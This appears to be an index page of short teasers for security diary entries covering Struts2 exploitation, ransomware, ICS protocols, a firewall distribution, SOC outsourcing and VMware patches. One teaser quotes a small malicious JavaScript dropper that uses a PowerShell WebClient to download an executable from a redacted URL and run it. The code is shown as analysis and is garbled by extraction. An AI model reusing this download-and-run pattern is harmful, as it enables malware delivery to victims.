Tracking Website Defacers with HTTP Referers, (Fri, Apr 7th)

In a previous diary, I explained how pictures may affect your website reputation[1]. Although asuggestedrecommendation was to prevent cross-linking by using the HTTP referer, this is a control that I do not implement on my personal blog, purely for research purposes. And it successfully worked! My website and all its components are constantly monitored but …

Java Struts2 Vulnerability Used To Install Cerber Crypto Ransomware, (Thu, Apr 6th)

[We do have a special webcast about the Struts2 Vulnerability scheduled for 11am ET today. Sign up here] Since about a month, we are tracking numerous attempts to exploit the Java Struts2 vulnerability (%%cve:2017-5638%%). Typically, the exploits targeted Unix systems with simple Perlbackdoors and bots. But recently, I saw a number of exploit attempts targeting …

Encryption inside Utility Industrial Control Systems (ICS) communication protocols: a must to preserve the confidentiality of information and reliability of the industrial process, (Tue, Apr 4th)

Industrial control systems are sensitive systems that must make decisions in real time to ensure the operation of the industrial process they govern. The latency and reliability in packet transmission is fundamental, since the protocols are connection-oriented but because of the main speed goal, many of them do not have included error recovery schemes other …

IPFire – A Household Multipurpose Security Gateway, (Sun, Apr 2nd)

I have been looking for a while for inline proxy that is easy to setup and manage and a co-worker suggested trying IPFire[1]. IPFire is a Linux based hardened OS compiled from sources and takes about 15 minutes to do the basic installation. Before starting, you need to determine how many interfaces (zones) you need …

Pro & Con of Outsourcing your SOC, (Fri, Mar 31st)

Im involved in a project to deploy a SIEM (Security Information Event Management) / SOC (Security Operation Center) for a customer. The current approach is to outsource the services to an external company also called a MSSP (Managed Security Services Provider). We had an interesting chat about the pro con to have an internal or …

Diverting built-in features for the bad, (Thu, Mar 30th)

Sometimes you may find very small pieces of malicious code. Yesterday, I caught this very small Javascript sample with only 2 lines of code: var d=new ActiveXObject(Shell.NormandApplication.replace(Normand, d.ShellExecute(PowerShell,((New-Object System.Net.WebClient).DownloadFile(http://[redacted].exe, xwing.pifStart-Process xwing.pif,, There is no real obfuscation here, just atrick to avoid the detection of the string Shell.Application which often searched by automated tools Sometimes, there …

Critical VMware vulnerabilities disclosed, (Wed, Mar 29th)

VMware released a security bulletin[1] with moderate to critical vulnerabilities. The following products are affected: ESXi Workstation Fusion The vulnerabilities may allow a guest to execute code on the host, may lead to a DDoS or information leakage (depending on the product and version). Patches are available. [1]https://www.vmware.com/security/advisories/VMSA-2017-0006.html Xavier Mertens (@xme) ISC Handler – Freelance …

Logical & Physical Security Correlation, (Tue, Mar 28th)

Today, I would like to review an example how we can improve our daily security operations or, for our users, how to help in detecting suspicious content. Last week, I received the following email in my corporate mailbox. The mail is written in French but easy to understand: It is a notification regarding a failed …